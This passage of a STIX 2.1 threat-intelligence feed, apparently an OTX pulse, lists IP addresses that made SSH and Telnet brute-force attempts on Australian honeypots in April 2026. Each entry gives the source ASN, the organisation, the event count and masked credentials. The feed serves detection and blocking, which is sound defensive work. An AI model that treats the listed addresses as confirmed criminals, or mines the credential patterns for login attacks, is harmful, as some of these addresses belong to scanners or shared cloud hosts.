      "id": "indicator--708a98be-2ff9-46de-83ff-b9e534a6a587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T21:16:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T21:16:03.000Z",
      "valid_until": "2026-05-15T21:15:01.000Z"
    },
    {
      "created": "2026-04-13T21:16:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u. Passwords observed (masked): P**********5.",
      "id": "indicator--6f76c2af-b3e4-40a7-b88c-dfd4b9b18b89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T21:16:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.80.223.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T21:16:03.000Z",
      "valid_until": "2026-05-15T21:15:01.000Z"
    },
    {
      "created": "2026-04-13T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--63f84a79-94ea-49fc-8b96-bb1aea4c6aca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.39.231.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T22:15:04.000Z",
      "valid_until": "2026-05-15T22:15:02.000Z"
    },
    {
      "created": "2026-04-13T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--94117245-0a60-421a-8406-cd98410597b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.147.143.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T22:15:04.000Z",
      "valid_until": "2026-05-15T22:15:02.000Z"
    },
    {
      "created": "2026-04-13T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0ec50c06-f303-43b1-b311-19122e4435c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T22:15:04.000Z",
      "valid_until": "2026-05-15T22:15:02.000Z"
    },
    {
      "created": "2026-04-13T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0f58184f-653f-4780-bdb3-b490bb4c02cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T23:15:03.000Z",
      "valid_until": "2026-05-15T23:15:02.000Z"
    },
    {
      "created": "2026-04-13T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-13T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T23:15:03.000Z",
      "valid_until": "2026-05-15T23:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): d****s, r**t, 3**********4, c****e, d*****r. Passwords observed (masked): ***, 3***********4, 3**********4, C*******!, D*******6.",
      "id": "indicator--ab8f5576-7877-4e2e-821d-e979d580607c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.166.167.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--aaa4b8eb-f0d3-43ce-8dfd-49d9775d57cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.230.234.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): i******r. Passwords observed (masked): I******5.",
      "id": "indicator--6a2a6b1d-0b5b-4571-9231-83cdea853734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.19.243.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--bf6ffb81-7e9e-4ecb-8ceb-b3c86392a8e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.9.45.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 262. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 52307. Organisation(s): CORPICO LTDA. Usernames observed (masked): r**t, 3**********4, d****y, d****s, c****e. Passwords observed (masked): 3***********4, 3**********4, !**********y, ***, 7**7.",
      "id": "indicator--8c5be005-7379-4a6e-8432-f95f6161faa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.184.222.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--24c8fdd7-0501-43b3-87f4-88b8c289a07d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.113.61.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 213702. Organisation(s): QWINS LTD. Usernames observed (masked): r**t, 3**********4, d****y, c****e, d*****r. Passwords observed (masked): 3***********4, 3**********4, !**********y, ***, ***.",
      "id": "indicator--8b94e3cf-1165-40b9-b267-6a4110854d8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.253.249.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T00:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 205275. Organisation(s): ROMARG SRL. Usernames observed (masked): r**t, 3**********4, d****y, d****s, c****e. Passwords observed (masked): 3***********4, 3**********4, !**********y, ***, ***.",
      "id": "indicator--8b49c659-67b8-4afc-b41d-a4ac8ef6fe58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T00:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.47.53.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T00:15:09.000Z",
      "valid_until": "2026-05-16T00:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, a********r, ***, r****r, s***l. Passwords observed (masked): Q*******3, Z*******#, a*****4, a***n, a********r.",
      "id": "indicator--a93b34df-d743-4c9f-a8af-3d5cc8d34ab3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.126.4.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, u****u, 3**********4, a*****a, d****y. Passwords observed (masked): !******5, 1**4, 3***********4, 3**********4, A*******3.",
      "id": "indicator--524eb44b-72a3-4ce2-ad55-4a65c2de145f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.146.159.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a********r, ***, f*****r. Passwords observed (masked): 3***********4, 3**********4, Q*******3, Q*********$, Q***********6.",
      "id": "indicator--15d8e56f-7113-497c-abdc-26a66a325d87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.172.204.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 402. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38253. Organisation(s): Hanoi Telecom JSC. Usernames observed (masked): r**t, 3**********4, s***l, t***1, a********r. Passwords observed (masked): 3***********4, 3**********4, 4****2, Q*******3, Q*********$.",
      "id": "indicator--67ce2655-f1a7-4b16-b08d-b6724b8ebed0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.172.236.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 408. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, s***l, t***1, u**r. Passwords observed (masked): 3***********4, 3**********4, t**t, Q*******3, Q*********$.",
      "id": "indicator--83390b0e-3aaa-4bd6-ae61-0a12bd20bca4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.81.183.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a********r, ***, m****a, p******s, r**t. Passwords observed (masked): t**t, a*****4, a***n, a********r, d**2.",
      "id": "indicator--53fc7f74-7f1c-4c34-a5bb-e52e55e60f64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.212.238.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): n***s, r**t, 3**********4, m*******r, u****u. Passwords observed (masked): 1**4, 3***********4, 3**********4, R*******$, U*******!.",
      "id": "indicator--3b28c139-c5aa-4e8c-9d10-4325ef5bceb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.60.61.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--60ebc9a9-d465-411d-b82e-1ca917c16aba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.87.12.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--505e3d39-98d6-4ff7-91f6-1ded54c8dcd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7eac6ad8-a767-461a-821c-0c57dcd36192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d46d65d8-e047-445e-bead-4f88e080187d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada. Usernames observed (masked): r**t, u****u, 3**********4, ***, i******r. Passwords observed (masked): 3***********4, 3**********4, *, 2***#, A*******1.",
      "id": "indicator--884e340f-34c9-4cea-aace-b9be36cd0b86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '70.54.182.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:15:03.000Z",
      "valid_until": "2026-05-16T01:15:02.000Z"
    },
    {
      "created": "2026-04-14T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--2295d12d-0354-4a6e-9b09-e18ccb6bfee4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.29.84.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:15:03.000Z",
      "valid_until": "2026-05-16T02:15:02.000Z"
    },
    {
      "created": "2026-04-14T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f8a16d3d-f8df-4ffd-9dd8-12907df696af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '153.0.84.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:15:03.000Z",
      "valid_until": "2026-05-16T02:15:02.000Z"
    },
    {
      "created": "2026-04-14T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AM. ASN(s): 216058. Organisation(s): Proitlab LLC. Usernames observed (masked): r**t, t**t, 3**********4, a**n, ***. Passwords observed (masked): 1*******9, 1*********e, 1*******$, 3***********4, 3**********4.",
      "id": "indicator--902b196e-4697-4323-b73b-5800fb63c923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.56.205.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:15:03.000Z",
      "valid_until": "2026-05-16T02:15:02.000Z"
    },
    {
      "created": "2026-04-14T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--4ff10007-5290-4ce4-bb8d-b3a638019318",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '24.84.30.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:15:03.000Z",
      "valid_until": "2026-05-16T02:15:02.000Z"
    },
    {
      "created": "2026-04-14T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, j***u, t**t, a**n. Passwords observed (masked): 3***********4, 3**********4, 1*******9, 1*********e, 1*******$.",
      "id": "indicator--5f4d06ec-d729-4a9d-bdd1-3bab24183343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.175.118.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:15:03.000Z",
      "valid_until": "2026-05-16T02:15:02.000Z"
    },
    {
      "created": "2026-04-14T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--dd1ccf20-e62c-408c-8493-a498bb8b0c9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.7.6.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T03:15:06.000Z",
      "valid_until": "2026-05-16T03:15:02.000Z"
    },
    {
      "created": "2026-04-14T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38283. Organisation(s): CHINANET SiChuan Telecom Internet Data Center. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--fb9a93c9-6cb1-48d0-9c5e-6a7c1c6492ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.151.61.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T03:15:06.000Z",
      "valid_until": "2026-05-16T03:15:02.000Z"
    },
    {
      "created": "2026-04-14T03:15:06.000Z",
